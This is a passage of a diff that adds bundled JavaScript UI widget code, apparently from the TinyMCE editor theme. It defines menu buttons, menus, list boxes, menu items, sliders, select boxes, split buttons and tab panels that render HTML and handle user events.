+      self$$1.state.set('menu', settings.menu || self$$1.render());
+    },
+    showMenu: function (toggle) {
+      var self$$1 = this;
+      var menu;
+      if (self$$1.menu && self$$1.menu.visible() && toggle !== false) {
+        return self$$1.hideMenu();
+      }
+      if (!self$$1.menu) {
+        menu = self$$1.state.get('menu') || [];
+        self$$1.classes.add('opened');
+        if (menu.length) {
+          menu = {
+            type: 'menu',
+            animate: true,
+            items: menu
+          };
+        } else {
+          menu.type = menu.type || 'menu';
+          menu.animate = true;
+        }
+        if (!menu.renderTo) {
+          self$$1.menu = global$11.create(menu).parent(self$$1).renderTo();
+        } else {
+          self$$1.menu = menu.parent(self$$1).show().renderTo();
+        }
+        self$$1.fire('createmenu');
+        self$$1.menu.reflow();
+        self$$1.menu.on('cancel', function (e) {
+          if (e.control.parent() === self$$1.menu) {
+            e.stopPropagation();
+            self$$1.focus();
+            self$$1.hideMenu();
+          }
+        });
+        self$$1.menu.on('select', function () {
+          self$$1.focus();
+        });
+        self$$1.menu.on('show hide', function (e) {
+          if (e.control === self$$1.menu) {
+            self$$1.activeMenu(e.type === 'show');
+            self$$1.classes.toggle('opened', e.type === 'show');
+          }
+          self$$1.aria('expanded', e.type === 'show');
+        }).fire('show');
+      }
+      self$$1.menu.show();
+      self$$1.menu.layoutRect({ w: self$$1.layoutRect().w });
+      self$$1.menu.repaint();
+      self$$1.menu.moveRel(self$$1.getEl(), self$$1.isRtl() ? [
+        'br-tr',
+        'tr-br'
+      ] : [
+        'bl-tl',
+        'tl-bl'
+      ]);
+      self$$1.fire('showmenu');
+    },
+    hideMenu: function () {
+      var self$$1 = this;
+      if (self$$1.menu) {
+        self$$1.menu.items().each(function (item) {
+          if (item.hideMenu) {
+            item.hideMenu();
+          }
+        });
+        self$$1.menu.hide();
+      }
+    },
+    activeMenu: function (state) {
+      this.classes.toggle('active', state);
+    },
+    renderHtml: function () {
+      var self$$1 = this, id = self$$1._id, prefix = self$$1.classPrefix;
+      var icon = self$$1.settings.icon, image;
+      var text = self$$1.state.get('text');
+      var textHtml = '';
+      image = self$$1.settings.image;
+      if (image) {
+        icon = 'none';
+        if (typeof image !== 'string') {
+          image = window.getSelection ? image[0] : image[1];
+        }
+        image = ' style="background-image: url(\'' + image + '\')"';
+      } else {
+        image = '';
+      }
+      if (text) {
+        self$$1.classes.add('btn-has-text');
+        textHtml = '<span class="' + prefix + 'txt">' + self$$1.encode(text) + '</span>';
+      }
+      icon = self$$1.settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
+      self$$1.aria('role', self$$1.parent() instanceof MenuBar ? 'menuitem' : 'button');
+      return '<div id="' + id + '" class="' + self$$1.classes + '" tabindex="-1" aria-labelledby="' + id + '">' + '<button id="' + id + '-open" role="presentation" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
+    },
+    postRender: function () {
+      var self$$1 = this;
+      self$$1.on('click', function (e) {
+        if (e.control === self$$1 && isChildOf$1(e.target, self$$1.getEl())) {
+          self$$1.focus();
+          self$$1.showMenu(!e.aria);
+          if (e.aria) {
+            self$$1.menu.items().filter(':visible')[0].focus();
+          }
+        }
+      });
+      self$$1.on('mouseenter', function (e) {
+        var overCtrl = e.control;
+        var parent$$1 = self$$1.parent();
+        var hasVisibleSiblingMenu;
+        if (overCtrl && parent$$1 && overCtrl instanceof MenuButton && overCtrl.parent() === parent$$1) {
+          parent$$1.items().filter('MenuButton').each(function (ctrl) {
+            if (ctrl.hideMenu && ctrl !== overCtrl) {
+              if (ctrl.menu && ctrl.menu.visible()) {
+                hasVisibleSiblingMenu = true;
+              }
+              ctrl.hideMenu();
+            }
+          });
+          if (hasVisibleSiblingMenu) {
+            overCtrl.focus();
+            overCtrl.showMenu();
+          }
+        }
+      });
+      return self$$1._super();
+    },
+    bindStates: function () {
+      var self$$1 = this;
+      self$$1.state.on('change:menu', function () {
+        if (self$$1.menu) {
+          self$$1.menu.remove();
+        }
+        self$$1.menu = null;
+      });
+      return self$$1._super();
+    },
+    remove: function () {
+      this._super();
+      if (this.menu) {
+        this.menu.remove();
+      }
+    }
+  });
+
+  function Throbber (elm, inline) {
+    var self = this;
+    var state;
+    var classPrefix = Control$1.classPrefix;
+    var timer;
+    self.show = function (time, callback) {
+      function render() {
+        if (state) {
+          global$7(elm).append('<div class="' + classPrefix + 'throbber' + (inline ? ' ' + classPrefix + 'throbber-inline' : '') + '"></div>');
+          if (callback) {
+            callback();
+          }
+        }
+      }
+      self.hide();
+      state = true;
+      if (time) {
+        timer = global$3.setTimeout(render, time);
+      } else {
+        render();
+      }
+      return self;
+    };
+    self.hide = function () {
+      var child = elm.lastChild;
+      global$3.clearTimeout(timer);
+      if (child && child.className.indexOf('throbber') !== -1) {
+        child.parentNode.removeChild(child);
+      }
+      state = false;
+      return self;
+    };
+  }
+
+  var Menu = FloatPanel.extend({
+    Defaults: {
+      defaultType: 'menuitem',
+      border: 1,
+      layout: 'stack',
+      role: 'application',
+      bodyRole: 'menu',
+      ariaRoot: true
+    },
+    init: function (settings) {
+      var self = this;
+      settings.autohide = true;
+      settings.constrainToViewport = true;
+      if (typeof settings.items === 'function') {
+        settings.itemsFactory = settings.items;
+        settings.items = [];
+      }
+      if (settings.itemDefaults) {
+        var items = settings.items;
+        var i = items.length;
+        while (i--) {
+          items[i] = global$4.extend({}, settings.itemDefaults, items[i]);
+        }
+      }
+      self._super(settings);
+      self.classes.add('menu');
+      if (settings.animate && global$1.ie !== 11) {
+        self.classes.add('animate');
+      }
+    },
+    repaint: function () {
+      this.classes.toggle('menu-align', true);
+      this._super();
+      this.getEl().style.height = '';
+      this.getEl('body').style.height = '';
+      return this;
+    },
+    cancel: function () {
+      var self = this;
+      self.hideAll();
+      self.fire('select');
+    },
+    load: function () {
+      var self = this;
+      var time, factory;
+      function hideThrobber() {
+        if (self.throbber) {
+          self.throbber.hide();
+          self.throbber = null;
+        }
+      }
+      factory = self.settings.itemsFactory;
+      if (!factory) {
+        return;
+      }
+      if (!self.throbber) {
+        self.throbber = new Throbber(self.getEl('body'), true);
+        if (self.items().length === 0) {
+          self.throbber.show();
+          self.fire('loading');
+        } else {
+          self.throbber.show(100, function () {
+            self.items().remove();
+            self.fire('loading');
+          });
+        }
+        self.on('hide close', hideThrobber);
+      }
+      self.requestTime = time = new Date().getTime();
+      self.settings.itemsFactory(function (items) {
+        if (items.length === 0) {
+          self.hide();
+          return;
+        }
+        if (self.requestTime !== time) {
+          return;
+        }
+        self.getEl().style.width = '';
+        self.getEl('body').style.width = '';
+        hideThrobber();
+        self.items().remove();
+        self.getEl('body').innerHTML = '';
+        self.add(items);
+        self.renderNew();
+        self.fire('loaded');
+      });
+    },
+    hideAll: function () {
+      var self = this;
+      this.find('menuitem').exec('hideMenu');
+      return self._super();
+    },
+    preRender: function () {
+      var self = this;
+      self.items().each(function (ctrl) {
+        var settings = ctrl.settings;
+        if (settings.icon || settings.image || settings.selectable) {
+          self._hasIcons = true;
+          return false;
+        }
+      });
+      if (self.settings.itemsFactory) {
+        self.on('postrender', function () {
+          if (self.settings.itemsFactory) {
+            self.load();
+          }
+        });
+      }
+      self.on('show hide', function (e) {
+        if (e.control === self) {
+          if (e.type === 'show') {
+            global$3.setTimeout(function () {
+              self.classes.add('in');
+            }, 0);
+          } else {
+            self.classes.remove('in');
+          }
+        }
+      });
+      return self._super();
+    }
+  });
+
+  var ListBox = MenuButton.extend({
+    init: function (settings) {
+      var self = this;
+      var values, selected, selectedText, lastItemCtrl;
+      function setSelected(menuValues) {
+        for (var i = 0; i < menuValues.length; i++) {
+          selected = menuValues[i].selected || settings.value === menuValues[i].value;
+          if (selected) {
+            selectedText = selectedText || menuValues[i].text;
+            self.state.set('value', menuValues[i].value);
+            return true;
+          }
+          if (menuValues[i].menu) {
+            if (setSelected(menuValues[i].menu)) {
+              return true;
+            }
+          }
+        }
+      }
+      self._super(settings);
+      settings = self.settings;
+      self._values = values = settings.values;
+      if (values) {
+        if (typeof settings.value !== 'undefined') {
+          setSelected(values);
+        }
+        if (!selected && values.length > 0) {
+          selectedText = values[0].text;
+          self.state.set('value', values[0].value);
+        }
+        self.state.set('menu', values);
+      }
+      self.state.set('text', settings.text || selectedText);
+      self.classes.add('listbox');
+      self.on('select', function (e) {
+        var ctrl = e.control;
+        if (lastItemCtrl) {
+          e.lastControl = lastItemCtrl;
+        }
+        if (settings.multiple) {
+          ctrl.active(!ctrl.active());
+        } else {
+          self.value(e.control.value());
+        }
+        lastItemCtrl = ctrl;
+      });
+    },
+    value: function (value) {
+      if (arguments.length === 0) {
+        return this.state.get('value');
+      }
+      if (typeof value === 'undefined') {
+        return this;
+      }
+      if (this.settings.values) {
+        var matchingValues = global$4.grep(this.settings.values, function (a) {
+          return a.value === value;
+        });
+        if (matchingValues.length > 0) {
+          this.state.set('value', value);
+        } else if (value === null) {
+          this.state.set('value', null);
+        }
+      } else {
+        this.state.set('value', value);
+      }
+      return this;
+    },
+    bindStates: function () {
+      var self = this;
+      function activateMenuItemsByValue(menu, value) {
+        if (menu instanceof Menu) {
+          menu.items().each(function (ctrl) {
+            if (!ctrl.hasMenus()) {
+              ctrl.active(ctrl.value() === value);
+            }
+          });
+        }
+      }
+      function getSelectedItem(menuValues, value) {
+        var selectedItem;
+        if (!menuValues) {
+          return;
+        }
+        for (var i = 0; i < menuValues.length; i++) {
+          if (menuValues[i].value === value) {
+            return menuValues[i];
+          }
+          if (menuValues[i].menu) {
+            selectedItem = getSelectedItem(menuValues[i].menu, value);
+            if (selectedItem) {
+              return selectedItem;
+            }
+          }
+        }
+      }
+      self.on('show', function (e) {
+        activateMenuItemsByValue(e.control, self.value());
+      });
+      self.state.on('change:value', function (e) {
+        var selectedItem = getSelectedItem(self.state.get('menu'), e.value);
+        if (selectedItem) {
+          self.text(selectedItem.text);
+        } else {
+          self.text(self.settings.text);
+        }
+      });
+      return self._super();
+    }
+  });
+
+  var toggleTextStyle = function (ctrl, state) {
+    var textStyle = ctrl._textStyle;
+    if (textStyle) {
+      var textElm = ctrl.getEl('text');
+      textElm.setAttribute('style', textStyle);
+      if (state) {
+        textElm.style.color = '';
+        textElm.style.backgroundColor = '';
+      }
+    }
+  };
+  var MenuItem = Widget.extend({
+    Defaults: {
+      border: 0,
+      role: 'menuitem'
+    },
+    init: function (settings) {
+      var self = this;
+      var text;
+      self._super(settings);
+      settings = self.settings;
+      self.classes.add('menu-item');
+      if (settings.menu) {
+        self.classes.add('menu-item-expand');
+      }
+      if (settings.preview) {
+        self.classes.add('menu-item-preview');
+      }
+      text = self.state.get('text');
+      if (text === '-' || text === '|') {
+        self.classes.add('menu-item-sep');
+        self.aria('role', 'separator');
+        self.state.set('text', '-');
+      }
+      if (settings.selectable) {
+        self.aria('role', 'menuitemcheckbox');
+        self.classes.add('menu-item-checkbox');
+        settings.icon = 'selected';
+      }
+      if (!settings.preview && !settings.selectable) {
+        self.classes.add('menu-item-normal');
+      }
+      self.on('mousedown', function (e) {
+        e.preventDefault();
+      });
+      if (settings.menu && !settings.ariaHideMenu) {
+        self.aria('haspopup', true);
+      }
+    },
+    hasMenus: function () {
+      return !!this.settings.menu;
+    },
+    showMenu: function () {
+      var self = this;
+      var settings = self.settings;
+      var menu;
+      var parent = self.parent();
+      parent.items().each(function (ctrl) {
+        if (ctrl !== self) {
+          ctrl.hideMenu();
+        }
+      });
+      if (settings.menu) {
+        menu = self.menu;
+        if (!menu) {
+          menu = settings.menu;
+          if (menu.length) {
+            menu = {
+              type: 'menu',
+              items: menu
+            };
+          } else {
+            menu.type = menu.type || 'menu';
+          }
+          if (parent.settings.itemDefaults) {
+            menu.itemDefaults = parent.settings.itemDefaults;
+          }
+          menu = self.menu = global$11.create(menu).parent(self).renderTo();
+          menu.reflow();
+          menu.on('cancel', function (e) {
+            e.stopPropagation();
+            self.focus();
+            menu.hide();
+          });
+          menu.on('show hide', function (e) {
+            if (e.control.items) {
+              e.control.items().each(function (ctrl) {
+                ctrl.active(ctrl.settings.selected);
+              });
+            }
+          }).fire('show');
+          menu.on('hide', function (e) {
+            if (e.control === menu) {
+              self.classes.remove('selected');
+            }
+          });
+          menu.submenu = true;
+        } else {
+          menu.show();
+        }
+        menu._parentMenu = parent;
+        menu.classes.add('menu-sub');
+        var rel = menu.testMoveRel(self.getEl(), self.isRtl() ? [
+          'tl-tr',
+          'bl-br',
+          'tr-tl',
+          'br-bl'
+        ] : [
+          'tr-tl',
+          'br-bl',
+          'tl-tr',
+          'bl-br'
+        ]);
+        menu.moveRel(self.getEl(), rel);
+        menu.rel = rel;
+        rel = 'menu-sub-' + rel;
+        menu.classes.remove(menu._lastRel).add(rel);
+        menu._lastRel = rel;
+        self.classes.add('selected');
+        self.aria('expanded', true);
+      }
+    },
+    hideMenu: function () {
+      var self = this;
+      if (self.menu) {
+        self.menu.items().each(function (item) {
+          if (item.hideMenu) {
+            item.hideMenu();
+          }
+        });
+        self.menu.hide();
+        self.aria('expanded', false);
+      }
+      return self;
+    },
+    renderHtml: function () {
+      var self = this;
+      var id = self._id;
+      var settings = self.settings;
+      var prefix = self.classPrefix;
+      var text = self.state.get('text');
+      var icon = self.settings.icon, image = '', shortcut = settings.shortcut;
+      var url = self.encode(settings.url), iconHtml = '';
+      function convertShortcut(shortcut) {
+        var i, value, replace = {};
+        if (global$1.mac) {
+          replace = {
+            alt: '&#x2325;',
+            ctrl: '&#x2318;',
+            shift: '&#x21E7;',
+            meta: '&#x2318;'
+          };
+        } else {
+          replace = { meta: 'Ctrl' };
+        }
+        shortcut = shortcut.split('+');
+        for (i = 0; i < shortcut.length; i++) {
+          value = replace[shortcut[i].toLowerCase()];
+          if (value) {
+            shortcut[i] = value;
+          }
+        }
+        return shortcut.join('+');
+      }
+      function escapeRegExp(str) {
+        return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
+      }
+      function markMatches(text) {
+        var match = settings.match || '';
+        return match ? text.replace(new RegExp(escapeRegExp(match), 'gi'), function (match) {
+          return '!mce~match[' + match + ']mce~match!';
+        }) : text;
+      }
+      function boldMatches(text) {
+        return text.replace(new RegExp(escapeRegExp('!mce~match['), 'g'), '<b>').replace(new RegExp(escapeRegExp(']mce~match!'), 'g'), '</b>');
+      }
+      if (icon) {
+        self.parent().classes.add('menu-has-icons');
+      }
+      if (settings.image) {
+        image = ' style="background-image: url(\'' + settings.image + '\')"';
+      }
+      if (shortcut) {
+        shortcut = convertShortcut(shortcut);
+      }
+      icon = prefix + 'ico ' + prefix + 'i-' + (self.settings.icon || 'none');
+      iconHtml = text !== '-' ? '<i class="' + icon + '"' + image + '></i>\xA0' : '';
+      text = boldMatches(self.encode(markMatches(text)));
+      url = boldMatches(self.encode(markMatches(url)));
+      return '<div id="' + id + '" class="' + self.classes + '" tabindex="-1">' + iconHtml + (text !== '-' ? '<span id="' + id + '-text" class="' + prefix + 'text">' + text + '</span>' : '') + (shortcut ? '<div id="' + id + '-shortcut" class="' + prefix + 'menu-shortcut">' + shortcut + '</div>' : '') + (settings.menu ? '<div class="' + prefix + 'caret"></div>' : '') + (url ? '<div class="' + prefix + 'menu-item-link">' + url + '</div>' : '') + '</div>';
+    },
+    postRender: function () {
+      var self = this, settings = self.settings;
+      var textStyle = settings.textStyle;
+      if (typeof textStyle === 'function') {
+        textStyle = textStyle.call(this);
+      }
+      if (textStyle) {
+        var textElm = self.getEl('text');
+        if (textElm) {
+          textElm.setAttribute('style', textStyle);
+          self._textStyle = textStyle;
+        }
+      }
+      self.on('mouseenter click', function (e) {
+        if (e.control === self) {
+          if (!settings.menu && e.type === 'click') {
+            self.fire('select');
+            global$3.requestAnimationFrame(function () {
+              self.parent().hideAll();
+            });
+          } else {
+            self.showMenu();
+            if (e.aria) {
+              self.menu.focus(true);
+            }
+          }
+        }
+      });
+      self._super();
+      return self;
+    },
+    hover: function () {
+      var self = this;
+      self.parent().items().each(function (ctrl) {
+        ctrl.classes.remove('selected');
+      });
+      self.classes.toggle('selected', true);
+      return self;
+    },
+    active: function (state) {
+      toggleTextStyle(this, state);
+      if (typeof state !== 'undefined') {
+        this.aria('checked', state);
+      }
+      return this._super(state);
+    },
+    remove: function () {
+      this._super();
+      if (this.menu) {
+        this.menu.remove();
+      }
+    }
+  });
+
+  var Radio = Checkbox.extend({
+    Defaults: {
+      classes: 'radio',
+      role: 'radio'
+    }
+  });
+
+  var ResizeHandle = Widget.extend({
+    renderHtml: function () {
+      var self = this, prefix = self.classPrefix;
+      self.classes.add('resizehandle');
+      if (self.settings.direction === 'both') {
+        self.classes.add('resizehandle-both');
+      }
+      self.canFocus = false;
+      return '<div id="' + self._id + '" class="' + self.classes + '">' + '<i class="' + prefix + 'ico ' + prefix + 'i-resize"></i>' + '</div>';
+    },
+    postRender: function () {
+      var self = this;
+      self._super();
+      self.resizeDragHelper = new DragHelper(this._id, {
+        start: function () {
+          self.fire('ResizeStart');
+        },
+        drag: function (e) {
+          if (self.settings.direction !== 'both') {
+            e.deltaX = 0;
+          }
+          self.fire('Resize', e);
+        },
+        stop: function () {
+          self.fire('ResizeEnd');
+        }
+      });
+    },
+    remove: function () {
+      if (this.resizeDragHelper) {
+        this.resizeDragHelper.destroy();
+      }
+      return this._super();
+    }
+  });
+
+  function createOptions(options) {
+    var strOptions = '';
+    if (options) {
+      for (var i = 0; i < options.length; i++) {
+        strOptions += '<option value="' + options[i] + '">' + options[i] + '</option>';
+      }
+    }
+    return strOptions;
+  }
+  var SelectBox = Widget.extend({
+    Defaults: {
+      classes: 'selectbox',
+      role: 'selectbox',
+      options: []
+    },
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      if (self.settings.size) {
+        self.size = self.settings.size;
+      }
+      if (self.settings.options) {
+        self._options = self.settings.options;
+      }
+      self.on('keydown', function (e) {
+        var rootControl;
+        if (e.keyCode === 13) {
+          e.preventDefault();
+          self.parents().reverse().each(function (ctrl) {
+            if (ctrl.toJSON) {
+              rootControl = ctrl;
+              return false;
+            }
+          });
+          self.fire('submit', { data: rootControl.toJSON() });
+        }
+      });
+    },
+    options: function (state) {
+      if (!arguments.length) {
+        return this.state.get('options');
+      }
+      this.state.set('options', state);
+      return this;
+    },
+    renderHtml: function () {
+      var self = this;
+      var options, size = '';
+      options = createOptions(self._options);
+      if (self.size) {
+        size = ' size = "' + self.size + '"';
+      }
+      return '<select id="' + self._id + '" class="' + self.classes + '"' + size + '>' + options + '</select>';
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:options', function (e) {
+        self.getEl().innerHTML = createOptions(e.value);
+      });
+      return self._super();
+    }
+  });
+
+  function constrain(value, minVal, maxVal) {
+    if (value < minVal) {
+      value = minVal;
+    }
+    if (value > maxVal) {
+      value = maxVal;
+    }
+    return value;
+  }
+  function setAriaProp(el, name, value) {
+    el.setAttribute('aria-' + name, value);
+  }
+  function updateSliderHandle(ctrl, value) {
+    var maxHandlePos, shortSizeName, sizeName, stylePosName, styleValue, handleEl;
+    if (ctrl.settings.orientation === 'v') {
+      stylePosName = 'top';
+      sizeName = 'height';
+      shortSizeName = 'h';
+    } else {
+      stylePosName = 'left';
+      sizeName = 'width';
+      shortSizeName = 'w';
+    }
+    handleEl = ctrl.getEl('handle');
+    maxHandlePos = (ctrl.layoutRect()[shortSizeName] || 100) - funcs.getSize(handleEl)[sizeName];
+    styleValue = maxHandlePos * ((value - ctrl._minValue) / (ctrl._maxValue - ctrl._minValue)) + 'px';
+    handleEl.style[stylePosName] = styleValue;
+    handleEl.style.height = ctrl.layoutRect().h + 'px';
+    setAriaProp(handleEl, 'valuenow', value);
+    setAriaProp(handleEl, 'valuetext', '' + ctrl.settings.previewFilter(value));
+    setAriaProp(handleEl, 'valuemin', ctrl._minValue);
+    setAriaProp(handleEl, 'valuemax', ctrl._maxValue);
+  }
+  var Slider = Widget.extend({
+    init: function (settings) {
+      var self = this;
+      if (!settings.previewFilter) {
+        settings.previewFilter = function (value) {
+          return Math.round(value * 100) / 100;
+        };
+      }
+      self._super(settings);
+      self.classes.add('slider');
+      if (settings.orientation === 'v') {
+        self.classes.add('vertical');
+      }
+      self._minValue = isNumber$1(settings.minValue) ? settings.minValue : 0;
+      self._maxValue = isNumber$1(settings.maxValue) ? settings.maxValue : 100;
+      self._initValue = self.state.get('value');
+    },
+    renderHtml: function () {
+      var self = this, id = self._id, prefix = self.classPrefix;
+      return '<div id="' + id + '" class="' + self.classes + '">' + '<div id="' + id + '-handle" class="' + prefix + 'slider-handle" role="slider" tabindex="-1"></div>' + '</div>';
+    },
+    reset: function () {
+      this.value(this._initValue).repaint();
+    },
+    postRender: function () {
+      var self = this;
+      var minValue, maxValue, screenCordName, stylePosName, sizeName, shortSizeName;
+      function toFraction(min, max, val) {
+        return (val + min) / (max - min);
+      }
+      function fromFraction(min, max, val) {
+        return val * (max - min) - min;
+      }
+      function handleKeyboard(minValue, maxValue) {
+        function alter(delta) {
+          var value;
+          value = self.value();
+          value = fromFraction(minValue, maxValue, toFraction(minValue, maxValue, value) + delta * 0.05);
+          value = constrain(value, minValue, maxValue);
+          self.value(value);
+          self.fire('dragstart', { value: value });
+          self.fire('drag', { value: value });
+          self.fire('dragend', { value: value });
+        }
+        self.on('keydown', function (e) {
+          switch (e.keyCode) {
+          case 37:
+          case 38:
+            alter(-1);
+            break;
+          case 39:
+          case 40:
+            alter(1);
+            break;
+          }
+        });
+      }
+      function handleDrag(minValue, maxValue, handleEl) {
+        var startPos, startHandlePos, maxHandlePos, handlePos, value;
+        self._dragHelper = new DragHelper(self._id, {
+          handle: self._id + '-handle',
+          start: function (e) {
+            startPos = e[screenCordName];
+            startHandlePos = parseInt(self.getEl('handle').style[stylePosName], 10);
+            maxHandlePos = (self.layoutRect()[shortSizeName] || 100) - funcs.getSize(handleEl)[sizeName];
+            self.fire('dragstart', { value: value });
+          },
+          drag: function (e) {
+            var delta = e[screenCordName] - startPos;
+            handlePos = constrain(startHandlePos + delta, 0, maxHandlePos);
+            handleEl.style[stylePosName] = handlePos + 'px';
+            value = minValue + handlePos / maxHandlePos * (maxValue - minValue);
+            self.value(value);
+            self.tooltip().text('' + self.settings.previewFilter(value)).show().moveRel(handleEl, 'bc tc');
+            self.fire('drag', { value: value });
+          },
+          stop: function () {
+            self.tooltip().hide();
+            self.fire('dragend', { value: value });
+          }
+        });
+      }
+      minValue = self._minValue;
+      maxValue = self._maxValue;
+      if (self.settings.orientation === 'v') {
+        screenCordName = 'screenY';
+        stylePosName = 'top';
+        sizeName = 'height';
+        shortSizeName = 'h';
+      } else {
+        screenCordName = 'screenX';
+        stylePosName = 'left';
+        sizeName = 'width';
+        shortSizeName = 'w';
+      }
+      self._super();
+      handleKeyboard(minValue, maxValue);
+      handleDrag(minValue, maxValue, self.getEl('handle'));
+    },
+    repaint: function () {
+      this._super();
+      updateSliderHandle(this, this.value());
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:value', function (e) {
+        updateSliderHandle(self, e.value);
+      });
+      return self._super();
+    }
+  });
+
+  var Spacer = Widget.extend({
+    renderHtml: function () {
+      var self = this;
+      self.classes.add('spacer');
+      self.canFocus = false;
+      return '<div id="' + self._id + '" class="' + self.classes + '"></div>';
+    }
+  });
+
+  var SplitButton = MenuButton.extend({
+    Defaults: {
+      classes: 'widget btn splitbtn',
+      role: 'button'
+    },
+    repaint: function () {
+      var self$$1 = this;
+      var elm = self$$1.getEl();
+      var rect = self$$1.layoutRect();
+      var mainButtonElm, menuButtonElm;
+      self$$1._super();
+      mainButtonElm = elm.firstChild;
+      menuButtonElm = elm.lastChild;
+      global$7(mainButtonElm).css({
+        width: rect.w - funcs.getSize(menuButtonElm).width,
+        height: rect.h - 2
+      });
+      global$7(menuButtonElm).css({ height: rect.h - 2 });
+      return self$$1;
+    },
+    activeMenu: function (state) {
+      var self$$1 = this;
+      global$7(self$$1.getEl().lastChild).toggleClass(self$$1.classPrefix + 'active', state);
+    },
+    renderHtml: function () {
+      var self$$1 = this;
+      var id = self$$1._id;
+      var prefix = self$$1.classPrefix;
+      var image;
+      var icon = self$$1.state.get('icon');
+      var text = self$$1.state.get('text');
+      var settings = self$$1.settings;
+      var textHtml = '', ariaPressed;
+      image = settings.image;
+      if (image) {
+        icon = 'none';
+        if (typeof image !== 'string') {
+          image = window.getSelection ? image[0] : image[1];
+        }
+        image = ' style="background-image: url(\'' + image + '\')"';
+      } else {
+        image = '';
+      }
+      icon = settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
+      if (text) {
+        self$$1.classes.add('btn-has-text');
+        textHtml = '<span class="' + prefix + 'txt">' + self$$1.encode(text) + '</span>';
+      }
+      ariaPressed = typeof settings.active === 'boolean' ? ' aria-pressed="' + settings.active + '"' : '';
+      return '<div id="' + id + '" class="' + self$$1.classes + '" role="button"' + ariaPressed + ' tabindex="-1">' + '<button type="button" hidefocus="1" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + '</button>' + '<button type="button" class="' + prefix + 'open" hidefocus="1" tabindex="-1">' + (self$$1._menuBtnText ? (icon ? '\xA0' : '') + self$$1._menuBtnText : '') + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
+    },
+    postRender: function () {
+      var self$$1 = this, onClickHandler = self$$1.settings.onclick;
+      self$$1.on('click', function (e) {
+        var node = e.target;
+        if (e.control === this) {
+          while (node) {
+            if (e.aria && e.aria.key !== 'down' || node.nodeName === 'BUTTON' && node.className.indexOf('open') === -1) {
+              e.stopImmediatePropagation();
+              if (onClickHandler) {
+                onClickHandler.call(this, e);
+              }
+              return;
+            }
+            node = node.parentNode;
+          }
+        }
+      });
+      delete self$$1.settings.onclick;
+      return self$$1._super();
+    }
+  });
+
+  var StackLayout = FlowLayout.extend({
+    Defaults: {
+      containerClass: 'stack-layout',
+      controlClass: 'stack-layout-item',
+      endClass: 'break'
+    },
+    isNative: function () {
+      return true;
+    }
+  });
+
+  var TabPanel = Panel.extend({
+    Defaults: {
+      layout: 'absolute',
+      defaults: { type: 'panel' }
+    },
+    activateTab: function (idx) {
+      var activeTabElm;
+      if (this.activeTabId) {
+        activeTabElm = this.getEl(this.activeTabId);
+        global$7(activeTabElm).removeClass(this.classPrefix + 'active');
+        activeTabElm.setAttribute('aria-selected', 'false');
+      }
+      this.activeTabId = 't' + idx;
+      activeTabElm = this.getEl('t' + idx);
+      activeTabElm.setAttribute('aria-selected', 'true');
+      global$7(activeTabElm).addClass(this.classPrefix + 'active');
+      this.items()[idx].show().fire('showtab');
+      this.reflow();
+      this.items().each(function (item, i) {
+        if (idx !== i) {
+          item.hide();
+        }
+      });
+    },
+    renderHtml: function () {
+      var self = this;
+      var layout = self._layout;
+      var tabsHtml = '';
+      var prefix = self.classPrefix;
+      self.preRender();
+      layout.preRender(self);
+      self.items().each(function (ctrl, i) {
+        var id = self._id + '-t' + i;
+        ctrl.aria('role', 'tabpanel');
+        ctrl.aria('labelledby', id);
+        tabsHtml += '<div id="' + id + '" class="' + prefix + 'tab" ' + 'unselectable="on" role="tab" aria-controls="' + ctrl._id + '" aria-selected="false" tabIndex="-1">' + self.encode(ctrl.settings.title) + '</div>';
+      });
+      return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + '<div id="' + self._id + '-head" class="' + prefix + 'tabs" role="tablist">' + tabsHtml + '</div>' + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + layout.renderHtml(self) + '</div>' + '</div>';
+    },
+    postRender: function () {
+      var self = this;
+      self._super();
+      self.settings.activeTab = self.settings.activeTab || 0;
+      self.activateTab(self.settings.activeTab);
+      this.on('click', function (e) {
+        var targetParent = e.target.parentNode;
+        if (targetParent && targetParent.id === self._id + '-head') {
+          var i = targetParent.childNodes.length;
+          while (i--) {
+            if (targetParent.childNodes[i] === e.target) {
+              self.activateTab(i);
+            }
+          }
+        }
+      });
+    },
+    initLayoutRect: function () {
+      var self = this;
+      var rect, minW, minH;
+      minW = funcs.getSize(self.getEl('head')).width;
+      minW = minW < 0 ? 0 : minW;
+      minH = 0;
+      self.items().each(function (item) {
+        minW = Math.max(minW, item.layoutRect().minW);
+        minH = Math.max(minH, item.layoutRect().minH);
+      });
+      self.items().each(function (ctrl) {
+        ctrl.settings.x = 0;
+        ctrl.settings.y = 0;
+        ctrl.settings.w = minW;
+        ctrl.settings.h = minH;
+        ctrl.layoutRect({
+          x: 0,
+          y: 0,
+          w: minW,
+          h: minH
+        });
+      });
+      var headH = funcs.getSize(self.getEl('head')).height;
+      self.settings.minWidth = minW;
+      self.settings.minHeight = minH + headH;
+      rect = self._super();
+      rect.deltaH += headH;
+      rect.innerH = rect.h - rect.deltaH;
+      return rect;
+    }
+  });
+
+  var TextBox = Widget.extend({
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._super(settings);
+      self$$1.classes.add('textbox');
+      if (settings.multiline) {
+        self$$1.classes.add('multiline');
+      } else {
+        self$$1.on('keydown', function (e) {
+          var rootControl;
+          if (e.keyCode === 13) {
+            e.preventDefault();
+            self$$1.parents().reverse().each(function (ctrl) {
+              if (ctrl.toJSON) {
+                rootControl = ctrl;
+                return false;
+              }
+            });
+            self$$1.fire('submit', { data: rootControl.toJSON() });
+          }
+        });
+        self$$1.on('keyup', function (e) {
+          self$$1.state.set('value', e.target.value);
+        });
+      }
+    },
+    repaint: function () {
+      var self$$1 = this;
+      var style, rect, borderBox, borderW, borderH = 0, lastRepaintRect;
+      style = self$$1.getEl().style;
+      rect = self$$1._layoutRect;
+      lastRepaintRect = self$$1._lastRepaintRect || {};
+      var doc = document;
